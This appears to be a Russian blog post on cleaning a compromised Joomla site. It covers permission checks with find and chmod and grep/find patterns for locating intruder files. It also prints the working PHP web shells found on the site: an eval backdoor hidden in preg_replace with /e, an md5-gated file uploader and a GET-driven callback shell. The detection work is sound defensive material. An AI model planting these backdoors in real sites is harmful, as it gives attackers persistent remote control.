Проверьте уровень разрешений для файлов и папок
(например, 777 разрешает запись любому пользователю). Помните, что
хакеры часто меняют разрешения, оставляя себе лазейку для возврата на
сайт.
- Проверьте все каталоги с разрешением выше 755 (rwxr-xr-x).
Понизьте уровень доступа, если в нем нет крайней необходимости. В
Unix-подобных системах используйте команду:
find <имя-каталога> -type d -not -perm 755 -exec ls -ld {} \; - Проверьте все файлы с разрешением выше 644 (rw-r--r--). Понизьте уровень доступа, если в нем нет крайней необходимости.
find <имя-каталога> -type f -not -perm 644 -exec ls -la {} \;Меняем права на папки и файлы, предварительно перейдя в каталог с сайтом
find ./ -type d -print0 | xargs -0 chmod 0755 # for directories find ./ -type f -print0 | xargs -0 chmod 0644 # for filesПосле взлома остается много файлов с таким содержанием<?php if($_GET['test']){echo 'success';}else{($www= $_POST['gaw7b'])&& @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');}Ключевой фразой котрая как правило не используется в обычных сайтах являетсяpreg_replace('/ad/e'Поэтому ищем все сайты с таким содержимым и удаляем или чистим ихsudo grep -iRI "preg_replace('/ad/e'" /путь/к/вашему/сайту.com/также я заметил, что у злоумышленников принято слова в файлах разделять тире,а в моем сайте на joomla используется подчеркивание.поэтому ищем все php файлы с тиреsudo find/путь/к/вашему/сайту.com/-name *-*.phpПомимо некоторого количество языковых фалов и файлов кеша,в названии которых используется тире,было найдено немного интересного/components/com_users/views/registration/conf-e0.php/plugins/vmpayment/realex_hpp_api/language/en-GB/cache-c7f.php/administrator/components/com_plugins/views/plugins/tmpl/cgi-c7f.php/administrator/components/com_installer/views/update/tmpl/utf8-99.phpв файле /plugins/vmpayment/realex_hpp_api/language/en-GB/cache-c7f.php был найдензагрузчик<?php if(md5($_GET["ms-load"])=="e4ec7518484164c0c70e3147d84be250"){ $p=$_SERVER["DOCUMENT_ROOT"]; $tyuf=dirname(__FILE__); echo <<<HTML <form enctype="multipart/form-data" method="POST"> Path:$p<br> <input name="file" type="file"><br> To:<br> <input size="48" value="$tyuf/" name="pt" type="text"><br> <input type="submit" value="Upload"> $tend HTML; if (isset($_POST["pt"])){ $uploadfile = $_POST["pt"].$_FILES["file"]["name"]; if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];} if (copy($_FILES["file"]["tmp_name"], $uploadfile)){ echo"uploaded:$uploadfilen"; echo"Size:".$_FILES["file"]["size"]."n"; }else { print "Error:n"; } } }в файле /administrator/components/com_plugins/views/plugins/tmpl/cgi-c7f.phpтоже интересное<?php $id = $_GET['pppj3']; echo $catid = isset($_GET['catid'])?base64_decode($_GET['catid']):''; $s = ''; foreach(array($id) as $v){ $s.=$v; } ob_start($s); if($catid){ echo $catid; } ob_end_flush();Остальных двух файлах была вышеприведенная строка сpreg_replace('/ad/e'
Комментариев нет:
Отправить комментарий